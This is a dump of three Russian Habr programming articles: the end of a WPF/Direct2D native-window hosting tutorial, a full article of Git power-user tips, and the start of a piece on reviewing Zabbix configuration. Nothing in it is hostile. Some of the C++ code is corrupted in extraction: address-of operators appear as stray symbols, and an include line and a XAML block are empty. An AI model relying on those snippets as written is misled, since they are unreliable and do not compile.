var caption = string.Empty;
var style = 3u;
var extra = 0;
var extended = 0u;
var window = 0x50000000u;
var point = 0;
var name = "Win32";
var wnd = new WindowClass
{
Style = style,
Callback = callback,
ClassExtra = extra,
WindowExtra = extra,
Instance = zero,
Icon = zero,
Cursor = cursor,
Background = background,
Menu = menu,
Class = name
};
RegisterClass(ref wnd);
Handle = CreateWindowEx(extended, name, caption,
window, point, point, width, height,
parent.Handle, zero, zero, zero);
return new HandleRef(this, Handle);
}
protected override void DestroyWindowCore(HandleRef handle)
{
DestroyWindow(handle.Handle);
}
protected override IntPtr WndProc(IntPtr handle, int message, IntPtr wparam, IntPtr lparam, ref bool handled)
{
try
{
if (message == WM_PAINT)
{
Paint paint;
BeginPaint(handle, out paint);
EndPaint(handle, ref paint);
handled = true;
}
if (message == WM_SIZE)
{
handled = true;
}
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
return base.WndProc(handle, message, wparam, lparam, ref handled);
}
static IntPtr WndProc(IntPtr handle, uint message, IntPtr wparam, IntPtr lparam)
{
return DefWindowProc(handle, message, wparam, lparam);
}
}
}
```
Данный класс работает очень просто: чтобы получить доступ к очереди сообщений и оконному дескриптору, переопределяется метод *WndProc* из родительского класса HwndHost. Метод *BuildWindowCore* используется в качестве конструктора нового окна. Он принимает дескриптор родительского окна, а возвращает дескриптор нового окна. Создание окна и его обслуживание возможно лишь с помощью системных функций, управляемых аналогов которых в платформе .NET не существует. Доступ к средствам WinAPI предоставляют **Platform Invocation Services (PInvoke)**, реализованные в рамках Common Language Infrastructure (CLI). Сведения о работе с PInvoke можно получить из многочисленных книг по .NET Framework, здесь же я хочу обратить ваше внимание на сайт [PInvoke.net](http://www.pinvoke.net/), на котором можно найти корректные объявления всех функций и структур. Работа с очередью сообщений заключается в обработке нужного события. Обычно достаточно обрабатывать перерисовку содержимого окна и изменение его размеров. Самое главное, что выполняет этот код — создание дескриптора окна, который можно использовать также, как и в обычном приложении WinAPI. Для того, чтобы работа в дизайнере WPF была удобной, нужно поместить компонент окна на главную форму приложения. Ниже приведена разметка XAML главного окна приложения:
**MainWindow.xaml**
```
```
Для того, чтобы поместить компонент на форму, необходимо указать пространство имён, в котором он находится. Затем его можно использовать как заполнитель, чтобы точно представлять положение каждого элемента на форме. Перед тем как переключиться из режима редактирования в режим конструктора, проект нужно перестроить. На рисунке ниже показано окно Visual Studio с открытым конструктором главного окна приложения, в котором заполнитель имеет серый фон:
### 2. Создание примера проекта с использованием DirectX на C++
В качестве примера использования компонента создадим простой проект на C++, в котором средствами Direct2D окно рисования будет залито определённым фоном. Для связи управляемого и неуправляемого кода можно использовать привязку C++/CLI, однако в реальных проектах делать это совсем необязательно. Добавим в решение Visual Studio проект C++ CLR Class Library. В проекте будут присутствовать исходные файлы по умолчанию, их можно удалить. Для эксперимента понадобится только один исходный файл, его содержимое приведено ниже:
**Renderer.cpp**
```
#include
namespace lib
{
class Renderer
{
public:
~Renderer()
{
if (factory) factory->Release();
if (target) target->Release();
}
bool Initialize(HWND handle)
{
RECT rect;
if (!GetClientRect(handle, ▭)) return false;
if (FAILED(D2D1CreateFactory(D2D1\_FACTORY\_TYPE\_SINGLE\_THREADED, &factory)))
return false;
return SUCCEEDED(factory->CreateHwndRenderTarget(D2D1::RenderTargetProperties(),
D2D1::HwndRenderTargetProperties(handle, D2D1::SizeU(rect.right - rect.left,
rect.bottom - rect.top)), ⌖));
}
void Render()
{
if (!target) return;
target->BeginDraw();
target->Clear(D2D1::ColorF(D2D1::ColorF::Orange));
target->EndDraw();
}
void Resize(HWND handle)
{
if (!target) return;
RECT rect;
if (!GetClientRect(handle, ▭)) return;
D2D1\_SIZE\_U size = D2D1::SizeU(rect.right - rect.left, rect.bottom - rect.top);
target->Resize(size);
}
private:
ID2D1Factory\* factory;
ID2D1HwndRenderTarget\* target;
};
public ref class Scene
{
public:
Scene(System::IntPtr handle)
{
renderer = new Renderer;
if (renderer) renderer->Initialize((HWND)handle.ToPointer());
}
~Scene()
{
delete renderer;
}
void Resize(System::IntPtr handle)
{
HWND hwnd = (HWND)handle.ToPointer();
if (renderer) renderer->Resize(hwnd);
}
void Draw()
{
if (renderer) renderer->Render();
}
private:
Renderer\* renderer;
};
}
```
Класс Scene связывает код приложения на C# и класс Renderer. Последний использует Direct2D API для заливки фона окна оранжевым цветом. Стоит отметить, что на практике рендеринг полностью выполняется в неуправляемом коде, для вывода результата необходим лишь дескриптор окна (HWND). Также необходимо учесть, что оба проекта в решении теперь должны иметь одинаковую конфигурацию при сборке, например, «Release x86».
### 3. Вывод результата рисования в окне WPF
Для того, чтобы вывести результат рисования на форму, необходимо добавить ссылку на сборку библиотеки рисования в проекте приложения WPF и вызвать соответствующие функции из библиотеки при обработке оконных сообщений компонента. На рисунке ниже показано окно добавления ссылки на библиотеку рисования и структура решения:
Ниже приведён изменённый код класса NativeWindow:
**NativeWindow.cs**
```
using lib; // Ссылка на пространство имён классов рисования
using System;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Interop;
namespace app
{
public class NativeWindow : HwndHost
{
public new IntPtr Handle { get; private set; }
Procedure procedure;
Scene scene; // Объект класса Scene для рисования
const int WM_PAINT = 0x000F;
const int WM_SIZE = 0x0005;
[StructLayout(LayoutKind.Sequential)]
struct WindowClass
{
public uint Style;
public IntPtr Callback;
public int ClassExtra;
public int WindowExtra;
public IntPtr Instance;
public IntPtr Icon;
public IntPtr Cursor;
public IntPtr Background;
[MarshalAs(UnmanagedType.LPWStr)]
public string Menu;
[MarshalAs(UnmanagedType.LPWStr)]
public string Class;
}
[StructLayout(LayoutKind.Sequential)]
struct Rect
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
[StructLayout(LayoutKind.Sequential)]
struct Paint
{
public IntPtr Context;
public bool Erase;
public Rect Area;
public bool Restore;
public bool Update;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public byte[] Reserved;
}
delegate IntPtr Procedure
(IntPtr handle,
uint message,
IntPtr wparam,
IntPtr lparam);
[DllImport("user32.dll")]
static extern IntPtr CreateWindowEx
(uint extended,
[MarshalAs(UnmanagedType.LPWStr)]
string name,
[MarshalAs(UnmanagedType.LPWStr)]
string caption,
uint style,
int x,
int y,
int width,
int height,
IntPtr parent,
IntPtr menu,
IntPtr instance,
IntPtr param);
[DllImport("user32.dll")]
static extern IntPtr LoadCursor
(IntPtr instance,
int name);
[DllImport("user32.dll")]
static extern IntPtr DefWindowProc
(IntPtr handle,
uint message,
IntPtr wparam,
IntPtr lparam);
[DllImport("user32.dll")]
static extern ushort RegisterClass
([In]
ref WindowClass register);
[DllImport("user32.dll")]
static extern bool DestroyWindow
(IntPtr handle);
[DllImport("user32.dll")]
static extern IntPtr BeginPaint
(IntPtr handle,
out Paint paint);
[DllImport("user32.dll")]
static extern bool EndPaint
(IntPtr handle,
[In] ref Paint paint);
protected override HandleRef BuildWindowCore(HandleRef parent)
{
var callback = Marshal.GetFunctionPointerForDelegate(procedure = WndProc);
var width = Convert.ToInt32(ActualWidth);
var height = Convert.ToInt32(ActualHeight);
var cursor = LoadCursor(IntPtr.Zero, 32512);
var menu = string.Empty;
var background = new IntPtr(1);
var zero = IntPtr.Zero;
var caption = string.Empty;
var style = 3u;
var extra = 0;
var extended = 0u;
var window = 0x50000000u;
var point = 0;
var name = "Win32";
var wnd = new WindowClass
{
Style = style,
Callback = callback,
ClassExtra = extra,
WindowExtra = extra,
Instance = zero,
Icon = zero,
Cursor = cursor,
Background = background,
Menu = menu,
Class = name
};
RegisterClass(ref wnd);
Handle = CreateWindowEx(extended, name, caption,
window, point, point, width, height,
parent.Handle, zero, zero, zero);
scene = new Scene(Handle); // Создание нового объекта Scene
return new HandleRef(this, Handle);
}
protected override void DestroyWindowCore(HandleRef handle)
{
DestroyWindow(handle.Handle);
}
protected override IntPtr WndProc(IntPtr handle, int message, IntPtr wparam, IntPtr lparam, ref bool handled)
{
try
{
if (message == WM_PAINT)
{
Paint paint;
BeginPaint(handle, out paint);
scene.Draw(); // Перерисовка содержимого
EndPaint(handle, ref paint);
handled = true;
}
if (message == WM_SIZE)
{
scene.Resize(handle); // Обработка изменения размеров
handled = true;
}
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
return base.WndProc(handle, message, wparam, lparam, ref handled);
}
static IntPtr WndProc(IntPtr handle, uint message, IntPtr wparam, IntPtr lparam)
{
return DefWindowProc(handle, message, wparam, lparam);
}
}
}
```
При обработке оконного сообщения WM\_PAINT происходит перерисовка содержимого компонента. Данное сообщение также поступает в очередь при изменении размеров окна (сообщение WM\_SIZE). На рисунке ниже показано залитое оранжевым цветом окно готового приложения:
### Заключение
Изложенный в статье способ рисования в окне WPF хорошо подходит для создания приложений, в которых интерфейс пользователя должен быть совмещён с окном просмотра. Технология WPF на сегодняшний день является самым развитым инструментом создания GUI для Windows, а возможность использования системных функций порой делает работу программиста проще. Чтобы поскорее испытать работу приложения, мной был создан [репозиторий](https://github.com/Grandbrain/NativeWPF) на Github. Там всегда можно найти свежую версию данного решения. | https://habr.com/ru/post/261927/ | null | ru | null |
# В одной лодке с «ублюдком»: 11 продвинутых советов по использованию Git
\*"ублюдок" — вольный перевод слова "git" — "an unpleasant or contemptible person", "неприятный или презренный человек".
В комментариях к статье [15 базовых советов по Git для эффективной работы каждый день](https://habr.com/ru/company/manychat/blog/511946/) развернулась дискуссия на тему эффективности использования тех или иных команд и опций. Надо признать, что `git` предоставляет столько различного функционала, что во-первых, за всем становится невозможно уследить, а во-вторых, его можно совершенно по-разному вписывать в рабочий процесс.
Давайте посмотрим, что можно использовать, чтобы улучшить себе жизнь. Статья предполагает, что читатель умеет пользоваться основными возможностями `git` и понимает что делает, когда, скажем, вводит в консоль `git rebase --merge --autostash`.
1. Используйте консольный и графический интерфейсы `git` одновременно
---------------------------------------------------------------------
Начнём с того, как именно Вы пользуетесь возможностями git? Многие работают строго из консоли или из приложения вроде [SourceTree](https://www.sourcetreeapp.com/), и с первого взгляда может показаться, что эти варианты взаимоисключают друг друга.
Многие продвинутые редакторы, в частности, ~~Ваш любимый `vim`~~ мой любимый VS Code, предоставляют как удобный доступ к консоли, так и приятный графический интерфейс для систем контроля версий, что позволяет в равной мере использовать плюсы обоих вариантов.
Удобства графического интерфейса очевидны невооружённым взглядом:
* Вы наглядно видите изменения в файле сразу в своём любимом редакторе.
* Вы можете контролировать стейджинг (добавление файлов для коммита) текущих изменений практически в реальном времени, не обращаясь к `git status`.
* Вы получаете быстрый доступ к истории файла.
* … и многое другое, что зависит от конкретных редакторов и/или используемых плагинов.
Удобства использования `git` из консоли не всегда очевидно для тех, кто привык пользоваться графическим интерфейсом.
* В первую очередь, это поддержка всех возможных команд и опций, поскольку `git` в первую очередь консольная команда, а любой GUI — это посредник между ним и Вами.
* Подсказки по этим "всем возможным командам и опциям".
* Возможность применить эти команды и опции в любой комбинации. В графических интерфейсах часто "выведен наружу" только базовый набор команд, а всё что сложнее — спрятано где-то внутри. Консоль предоставляет одинаково ~~не~~удобный интерфейс для всех команд.
* Подробный лог выполнения команд, описание ошибок и способы как их исправить. Банальный вывод неудачного `git pull --ff-only` при наличии входящих изменений в отредактированных файлах — сразу можно увидеть в каком файле есть несовместимые изменения и заняться мержем веток вручную:
```
> git pull origin master --ff-only
From ../habr2
* branch master -> FETCH_HEAD
error: Your local changes to the following files would be overwritten by merge:
.gitignore
Please commit your changes or stash them before you merge.
Aborting
Updating 6d1c088..a113bf7
```
Соответственно, когда у вас есть доступ и к консоли, и к боковой панели, можете успешно использовать лучшее из обоих миров так, как будет удобно именно Вам.
Применительно к VS Code с установленным плагином GitLens хочу поделиться парочкой специфичных лайфхаков.
* Привяжите хоткей к команде `gitlens.diffWithBranch` — эта команда позволяет быстро сравнить текущий файл с его версией в любой ветке.
* Если хотите пометить для себя место в каком-либо файле, чтобы иметь возможность быстро к нему вернуться в процессе работы над текущей веткой — просто добавьте в нужное место пустую строчку. Таким образом файл всегда будет под рукой в боковой панели. Да, для закладок существует богатый ассортимент плагинов, но обычно списки закладок быстро захламляются и в них бывает сложно ориентироваться, когда смешиваются закладки из разных веток.
2. Конфиги, конфиги, конфиги. Разделяйте и властвуйте
-----------------------------------------------------
Да, именно три штуки: системный (`--system`), пользовательский (`--global`) и локальный (`--local`). Соответственно, они применяются в порядке иерархии, каждый последующий оверрайдит предыдущий — системный применяется для всех пользователей, пользовательский — конкретно для Вас, локальный — для конкретного репозитория. Ловко лавируя между ними, можно гибко адаптировать свой рабочий процесс под условия окружающей среды.
*(Upd. Как оказалось, есть ещё четвёртый уровень конфигов, специфичный для отдельных рабочих копий одного репозитория [worktree](https://git-scm.com/docs/git-worktree#_configuration_file). Подробнее про worktree см. ниже.)*
Когда какой стоит применять? В большинстве случаев случаев Вы предпочтёте воспользоваться глобальным, чтобы вынести в него общие для всех настройки `core.eol`, алиасы, а также `user.name` и `user.email`, переопределяя только специфические вещи для конкретного репозитория. Однако в некоторых случаях, например когда несколько разработчиков по очереди отлаживают встраиваемое ПО, часть общих настроек имеет смысл вынести на системный уровень, переопределяя в глобальном (== пользовательском) только `user.name`/`email`.
Также в моей практике был случай, когда в рабочих репозиториях надо было пользоваться строго рабочей почтой, при этом в своих локальных репозиториях я продолжал пользоваться личной. Чтобы даже случайно нельзя было перепутать где что, я удалил `user.name`/`email` из глобального конфига, каждый раз указывая их заново в локальном, держа процесс под контролем.
3. Используйте временные коммиты вместо stash при переходе между ветками
------------------------------------------------------------------------
Скорее всего, Вы сталкивались хотя бы раз с ситуацией, когда надо срочно переключиться с одной ветки на другую, бросив всё в разобранном состоянии. Очень вероятно, что Вы знаете про `git stash` (от англ. "тайник"), который позволяет "спрятать" Ваши текущие изменения. Однако во время его использования Вы можете столкнуться со следующими вещами:
* Если коммитами Вы пользуетесь постоянно и все часто встречающиеся параметры типа `--amend` можете написать с закрытыми глазами, `stash` имеет несколько перпендикулярный интерфейс. Чтобы сохранить его надо сделать `git stash save` (при этом `save` может быть опущен). А чтобы восстановить — есть `git stash apply` (применяет последний стеш из всех) и `git stash pop` (применяет стеш и удаляет его из стека). Соответственно, когда придёт внезапная необходимость переключиться, Вы можете не сразу вспомнить, а что собственно надо вводить и что от команды ожидать.
* Если `stash`-ить буквально пару строчек, то можно вообще не вспомнить, что делал `stash`, и потом сидишь и удивляешься, куда делись изменения.
* `stash` по умолчанию распространяется только на изменённые (modified) файлы и не включает в себя неотслеживаемые (untracked). Соответственно, не зная этого, при переключении веток можно потерять их, если, например, они авто-генерируемые.
Что же делать, если не `stash`? Наиболее простое решение — взять и закоммитить всё с комментарием `WIP` (распространённая аббревиатура от "Work In Progress"). Не надо морочить себе голову, вспоминать названия команд и искать потом, в который из стешей сохранены изменения.
А зачем тогда `stash` вообще нужен? Я предпочитаю их использовать для хранения мелких фиксов, которые нужны только для отладки и не должны быть закоммичены вообще. Есть возможность применять не только последний из стешей, но и вообще любой, ссылаясь на его имя. Самое большое удобство в том, что стеши хоть и "помнят" на какой ветке были сделаны, но ни к чему не обязывают и могут быть применены на любой ветке. Я где-то когда-то нашёл очень удобные алиасы для этого:
```
git config --global alias.sshow "!f() { git stash show stash^{/$*} -p; }; f"
git config --global alias.sapply "!f() { git stash apply stash^{/$*}; }; f"
# сохранить
git stash save "hack"
# посмотреть
git sshow "hack"
# применить
git sapply "hack"
```
4. Используйте "`-`" для возврата к предыдущей ветке
----------------------------------------------------
После того, как вы сделали свои ~~грязные~~ дела в другой ветке и хотите вернуться к предыдущей, вместо того чтобы вспоминать и вводить её полное имя, можно просто передать "`-`":
```
git checkout -
```
Пользователям Windows этот трюк иногда совершенно незнаком, а для пользователей Linux он может быть привычен по аналогичному использованию в `bash`:
```
cd /some/long/path
...
cd -
```
5. Не клонируйте репозиторий, когда в этом нет нужды
----------------------------------------------------
Предположим, у вас есть две принципиально несовместимые друг с другом ветки — например, когда создаётся множество временных неотслеживаемых файлов кэша, при переходе между ветками можно замучиться их вычищать (передаю привет Unity).
Пришло задание срочно переключиться с одной на другую. Клонировать репозиторий вариант, но может занять уйму времени и места. Вычищать лишние файлы не вариант. На помощь приходит `worktree`: возможность держать несколько рабочих копий для одного репозитория. Из [документации](https://git-scm.com/docs/git-worktree):
```
$ git worktree add -b emergency-fix ../temp master
$ pushd ../temp
# ... hack hack hack ...
$ git commit -a -m 'emergency fix for boss'
$ popd
$ git worktree remove ../temp
```
Клонирования не происходит, по сути просто чекаут в другую папку, которую потом можно оставить или не жалко удалить.
6. Применяйте `pull` только как `fast-forward`
----------------------------------------------
На всякий случай, напоминаю, что `pull` по умолчанию делает `fetch` (выкачивание ветки с удалённого репозитория) и `merge` (слияние локальной и удалённой веток), а `fast-forward` — это режим слияния, когда нет никаких изменений в локальной ветке и происходит "перемотка" её на последний коммит из удалённой. Если изменения есть, то происходит классический мерж с ручным разрешением конфликтов и мерж-коммитом.
Некоторые предпочитают использовать `git pull --rebase`, но не всегда это возможно, например, когда вы локально смержили другую ветку из `origin` в `master` и перед пушем делаете `pull` (надеюсь, не надо напоминать, чем в данном случае может грозить `rebase`).
Соответственно, чтобы не попасть случайно в ситуацию, когда Вы неудачным `pull`-ом смержили не то и не туда, можно использовать параметр `--ff-only` или вписать соответствую опцию в конфиг:
```
git config --global pull.ff only
```
Что мы получаем?
* Автоматический фейл, если в локальной ветке есть новые незапушенные коммиты.
* Автоматический фейл, если во входящей ветке есть изменения в тех же файлах, в которых у Вас есть локальные незакоммиченные изменения (а это с большой вероятностью может вылиться потом в конфликт мержа).
* Автоматический фейл, если Вы случайно делаете `pull` не в ту ветку — например, на автомате вписали `git pull origin` ~~`master`~~ `upstream` вместо `my_feature`.
* Успех, когда всё прекрасно.
7. Скрывайте лишнее через `git exclude`
---------------------------------------
Обычно для скрытия файлов используется `.gitignore`, но он практически всегда отслеживается в самом репозитории и любое его изменение приведёт к тому, что он будет считаться изменённым на нашей стороне или может привести к неожиданному скрытию новых файлов у всех остальных.
Для решения этого вопроса есть чудесная возможность добавить соответствующий паттерн в файл `.git/info/exclude`. А для удобства редактирования этого файла можно использовать алиас:
```
git config --global alias.exclude '!f() { vim .git/info/exclude; }; f'
```
(Не забудьте подставить Ваш любимый редактор.)
* `.git/info/exclude` использует тот же синтаксис, что и `.gitignore`.
* Добавленные туда паттерны будут скрывать файлы только в вашем репозитории.
* Обратите внимание, что их действие, как и у `.gitignore` распространяется только на неотслеживаемые (untracked) файлы. Уже отслеживаемые изменённые файлы будут "подсвечиваться" как и раньше. Если Вы добавили файл случайно и теперь хотите его скрыть (такое иногда бывает с локальными конфигами IDE, например, `.vscode/settings.json`), используйте `git rm --cached` — команда удалит файл из отслеживаемых, но оставит его локальную копию нетронутой, и вот теперь её можно будет скрыть через exclude.
* Если хотите скрыть ряд файлов из всех-всех репозиториев, Вам поможет:
```
git config --global core.excludesfile
```
8. Скрывайте локальные изменения, когда не хотите их "вливать"
--------------------------------------------------------------
А теперь про то, когда Вы не хотите чтобы отслеживались *изменённые* файлы. Яркий пример: очень многие, особенно долгоживущие репозитории, хранят в себе ряд конфигов. Часто они служат для обеспечения единообразия настроек (к примеру, `.editorconfig`) или тасков сборки/линтинга (`.vscode/tasks.json`). И иногда так случается, что хочется их как-то изменить, но возможность разделения конфигов на "общие" и "пользовательские" отсутствует.
Есть административный вариант решения проблемы: вынести все конфиги в отдельную папку, из которой каждый будет сам копировать конфиги в нужные места. И есть ~~путь одиночки~~ возможность заоверрайдить на месте и пометить файл как *неизменённый*:
```
git update-index --assume-unchanged
```
С этих пор он "пропадает с радаров" даже если Вы продолжите его изменять. Если во время `pull`-а приходят новые изменения в этом же файле — в этом случае он будет продолжать считаться неизменённым, но легко смержиться Вам не даст. Чтобы вернуть всё как было, надо снять флаг, добавив `no`:
```
git update-index --no-assume-unchanged
```
9. Отслеживайте ~~хаки~~ локальные изменения в обход репозитория
----------------------------------------------------------------
Теперь немного чёрной магии. Предположим, что Вы не только изменили конфиги, но и хотите сохранить их в истории, чтобы помнить, почему Вы так сделали, и иметь возможность переключаться между разными версиями. Или же хотите отслеживать файлы, которые в принципе игнорируются главным репозиторием. Суть одна, в основной репозиторий заливать их нельзя. `stash` в этом может помочь, но когда разных изменений накапливается много, в них можно ~~прострелить~~ сломать ногу.
В моей практике было время, когда сборка проекта приводила к автогенерации части рабочих конфигов. Подставлять вручную такие, какие нужны для отладки, — замучаешься. Хотелось получить возможность быстро их чекаутить. Был вариант сделать репозиторий в папке `./out` — но оказалось, что постоянно переходить из папки в папку тоже неудобно.
Долго ли, коротко ли, узнал я о том, что вовсе необязательно, чтобы папка с репозиторием называлась `.git`. Её можно назвать как угодно ещё на этапе создания репозитория и работать с ней, передавая в команды параметр `gitdir`. А значит… Просто выполнить `git init --separate-git-dir=.git_dev` в существующей папке нам не дадут, произойдёт переименование каталога. Поэтому делаем хитрее: выполняем команду в новой папке, и кладём свежесозданный репозиторий рядом с существующим.
Что только что сейчас произошло? Мистическим образом у нас оказалось два репозитория в одной папке, а значит и возможность вести параллельную историю файлов! Почему `.git_dev`? Да для единообразия. Давайте заведём себе алиас, чтобы упростить работу со вторым репозиторием:
```
git config --global alias.dev '!git --git-dir=\"./.git_dev\"'
```
Пробуем:
```
> git status -s
?? .git_dev/
> git dev status -s
?? .git_dev/
?? .gitignore
?? Program.cs
?? habr.csproj
```
Со вторым репозиторием Вы теперь вольны делать всё что захотите. Можете отслеживать только отдельные конфиги, а можете вести полностью параллельную историю, добавляя в неё что-то своё и делая `checkout` то одного, то другого (правда, не знаю зачем это может пригодиться, но вдруг Вы ~~шизофреник~~ сложный человек).
Игнорировать `.git/` у гита заложено в генах, а вот всё остальное, как мы видим, отображается как есть. Наибольшая проблема — `.gitignore` у них будет один на двоих, так что практически всё, что может потребоваться во втором репозитории, придётся добавлять через `-f`, а всё что не требуется — не забываем игнорировать через `.git_dev/info/exclude`. По умолчанию можно добавить следующие строчки:
```
# ignore all files
/*
# ignore all folders
*/
```
В качестве бонуса, саму идею использования `git` для отслеживания конфигов можно использовать в том числе для того, чтобы хранить все свои заботливо собранные `.vimrc`, `.bashrc`, создавая репозиторий прямо в `~` (для Windows это `C:\Users\%USERNAME%\`).
10. Используйте хуки
--------------------
Про хуки много рассказано в других статьях, [например](https://habr.com/ru/post/75063/) и [вот](https://habr.com/ru/post/329804/), но не упомянуть их нельзя. Благодаря `git bash` они одинаково работают как в Unix-like системах так и в Windows, правда, если они при этом запускают что-то ещё, можно огрести приключений. Полезны, например, хуки:
* прогоняющие код через линтер/автоформаттер перед коммитом;
* вычленяющие номер задачи из текущей ветки и добавляющие её в сообщение коммита;
* пересобирающие вспомогательные библиотеки после чекаута и мержа.
Из любопытного, когда-то я себе ставил хук на чекаут, который писал название ветки в [Hamster](https://github.com/projecthamster/hamster), что позволяло достаточно точно отслеживать когда и над чем я работал. А при использовании `.git_dev` из предыдущего пункта можно настроить его автоматический чекаут после чекаута основного репозитория, чтобы всегда держать у себя "правильные" локальные версии конфигов.
11. Требуйте автодополнение
---------------------------
Напоследок хочу сказать довольно банальную вещь — автодополнение существенно улучшает качество жизни. В большинстве Unix-систем оно идёт из коробки, но если Вас угораздило оказаться в инфраструктуре Windows — настоятельно рекомендую перейти на [Powershell](https://github.com/PowerShell/PowerShell) (если ещё не) и установить [posh-git](https://github.com/dahlbyk/posh-git), который обеспечивает автодополнение большинства команд и даёт минималистичную сводку в prompt:
---
Спасибо за внимание; желаю всем приятной и эффективной каждодневной работы.
**Приложение**
Бонус для внимательных. Упомянутые выше и несколько неупомянутых алиасов из конфига:
```
[alias]
# `git sshow hack` - показать содержимое стеша с названием, включающим "hack". Строка может быть неточной
sshow = "!f() { git stash show stash^{/$*} -p; }; f"
# `git sapply hack` - применить стеш "hack"
sapply = "!f() { git stash apply stash^{/$*}; }; f"
# работа с `.git_dev`
dev = !git --git-dir=\"./.git_dev\"
# отображение статуса одновременно `.git/` и `.git_dev/`
statys = "!f() { git status ; echo \"\n\" ; git dev status ; }; f"
# поиск ветки по части названия
findb = "!f(){ git branch -ra | grep $1; }; f"
# последние пять коммитов в ветке. Если вызвать как `git hist -n 10`, отобразит 10
hist = log --pretty=format:\"%ad | %h | %an: \t %s%d\" --date=short -n5
# `git dist branch-name` отображает разницу в списке коммитов между текущей веткой и branch-name
dist = "!git log --pretty=format:\"%ad | %h | %an: \t %s%d\" --date=short \"$(git rev-parse --abbrev-ref HEAD)\" --not "
# редактирование локального `exclude`
exclude = "!f() { vim .git/info/exclude; }; f"
# вывести список файлов, скрытых через `--assume-unchanged`
ignored = !git ls-files -v | grep "^[[:lower:]]"
# переход на следующий коммит - операция, обратная `git reset HEAD~1`
forward = "!f() { git log --pretty=oneline --all | grep -B1 `git rev-parse HEAD` | head -n1 | egrep -o '[a-f0-9]{20,}' | xargs git checkout ; }; f"
``` | https://habr.com/ru/post/512490/ | null | ru | null |
# Zabbix Review: как организовать code review для конфигурации мониторинга
Code review — инженерная практика в терминах гибкой методологии разработки. Это анализ (инспекция) кода с целью выявления ошибок, недочетов, расхождения в стиле написания кода и понимания, решает ли код поставленную задачу.
Сегодня расскажу о том, как мы организовали процесс review для конфигурации мониторинга в Zabbix. Статья будет полезна тем, кто работает с системой мониторинга Zabbix, как в большой команде, так в одиночку, даже если у вас «десять хостов, что там ревьюить».
Какие проблемы решаем
=====================
Для мониторинга наших внутренних сервисов и сборочной инфраструктуры мы используем Zabbix. У нас есть договоренности по именованию — **name convention** ([используем ролевую модель с выделением Role, Profile](https://habr.com/company/pt/blog/325276/) шаблонов для мониторинга), но нет выделенной команды мониторинга (есть старшие инженеры, которые «собаку съели» в делах мониторинга), есть инженеры и младшие инженеры, ~500 хостов, ~150 шаблонов (небольшая, но очень динамичная инфраструктура).
Данная инфраструктура используется для поддержки и [автоматизации процессов разработки в компании](https://habr.com/company/pt/blog/343884/), помимо ее поддержки мы также разрабатываем инструменты автоматизации и интеграции, поэтому имеем небольшой опыт и понимание процессов разработки изнутри.
С ростом числа сотрудников и вводимых в систему мониторинга изменений все чаще стали встречаться типовые ошибки, которые было сложно отследить:
1. Привязка item, trigger напрямую к хостам, вне шаблонов (и часть хостов остается без мониторинга).
2. Неверные значение триггеров (вроде договорились о доступном месте в 3 ГБ, но опечатка, получаем никогда не работающий триггер в 34 ГБ).
3. Несоблюдение **name convention** — и получаем непонятное имя триггера **Script failed** (хотя это означает, что не работает система доставки обновлений) или шаблона — **Gitlab Templates** (мониторинг чего, сервера или агента?).
4. Отключение триггера, временное, для тестов. В итоге пропустили предупреждение на инфраструктуре и встали.
В мире программистов все эти проблемы решаются довольно просто: линтеры, сodereview. Так почему бы не взять эти bestpractices и для ревью конфигурации Zabbix? Берем!
Мы уже писали ранее о плюсах и примерах code review: [Внедрение инспекций кода в процесс разработки](https://habr.com/company/pt/blog/148884/), [Практический пример внедрения инспекции кода](https://habr.com/company/pt/blog/149303/), [Инспекция кода. Итоги](https://habr.com/company/pt/blog/153359/)
Зачем может понадобиться review Zabbix-конфигурации:
* Проверить, что хосты и шаблоны названы так, как это принято в команде ( **name convention**).
* Обучать новых сотрудников и проверить, что они сделали задачу так, как обговорили.
* Передавать знания между опытными сотрудниками.
* Заметить случайно или временно выключенные триггеры.
* Заметить неправильные значения в item или trigger — **last (0)** вместо **min (5m)**.
Дополните своими проблемами в комментариях, попробуем вместе разобраться, как решить их с помощью review.
Как у Zabbix с отслеживанием изменений
======================================
Zabbix имеет подсистему [Audit](https://www.zabbix.com/documentation/4.0/manual/web_interface/frontend_sections/reports/audit), с ее помощью мы смотрим, кто сделал изменения в конфигурации. Ее существенный недостаток — большое количество сохраненных событий, так как она сохраняет каждое событие пользователя.
Представьте, что любое изменение кода остается в истории git, вы пытались в течение часа подобрать имя переменной, попробовали 40 вариантов и все они теперь сохранены, каждое изменение отдельным коммитом, — и потом отдаете на ревью историю этих коммитов, без возможности сравнить начальную и конечную версии. Ужасно, правда?
А в Zabbix Audit именно так. С ее помощью можно отследить изменения, но она не позволяет быстро увидеть разницу (diff) между двумя состояниями системы (в начале недели и в конце). Кроме того, у нее все действия разделены по типам: добавление, изменение, удаление нужно смотреть в разных окнах. Пример можно найти в своем Zabbix на вкладке Audit (или посмотрите на скриншоте). Сложно понять, какое состояние первоначальное, какое текущее, какие изменения были за неделю. Ситуация усложняется, когда у нас десятки изменений за неделю.
Хочется механизма, который позволит:
1. Раз в неделю или после выполнения задачи по изменению логики мониторинга сделать слепок состояния системы.
2. Сравнить текущий слепок конфигурации с прошлым слепком (diff).
3. Автоматически проверить name convention.
4. Проверить качество выполнения задачи, дать рекомендации, советы, обсуждать решения.
5. Проверить, что изменения легитимные — все сделаны в соответствии с поставленной задачей.
6. Использовать привычные инструменты для разработчиков — git, diff, mergerequest.
7. Откатиться до какого-то состояния системы, но не потерять данные (поэтому бэкап не подходит).
8. Контролировать сущности Zabbix — host, templates, action, macros, screen, map.
Теперь поговорим о том, как мы реализовали механизм и чем он может быть полезен вам для вашей инфраструктуры Zabbix.
Делаем Zabbix configuration review
==================================
Для хранения Zabbix-конфигурации используем следующие форматы:
1. Оригинальные **XML** — экспортируются с помощью оригинального [Zabbix Export](https://www.zabbix.com/documentation/4.0/manual/xml_export_import). Используем для объектов host, template, screen. Есть особенности:
* в XML сложно читать и просматривать изменения;
* содержат все поля, в том числе незаполненные;
* содержат поле **date** — дата экспорта, его мы выпиливаем.
2. Сырой **JSON** — некоторые типы объектов [Zabbix не умеет экспортировать](https://support.zabbix.com/browse/ZBXNEXT-3281) (actions, mediatypes), но они важны и хочется просматривать изменения, поэтому берем сырые данные из ZabbixAPI и сохраняем их в JSON.
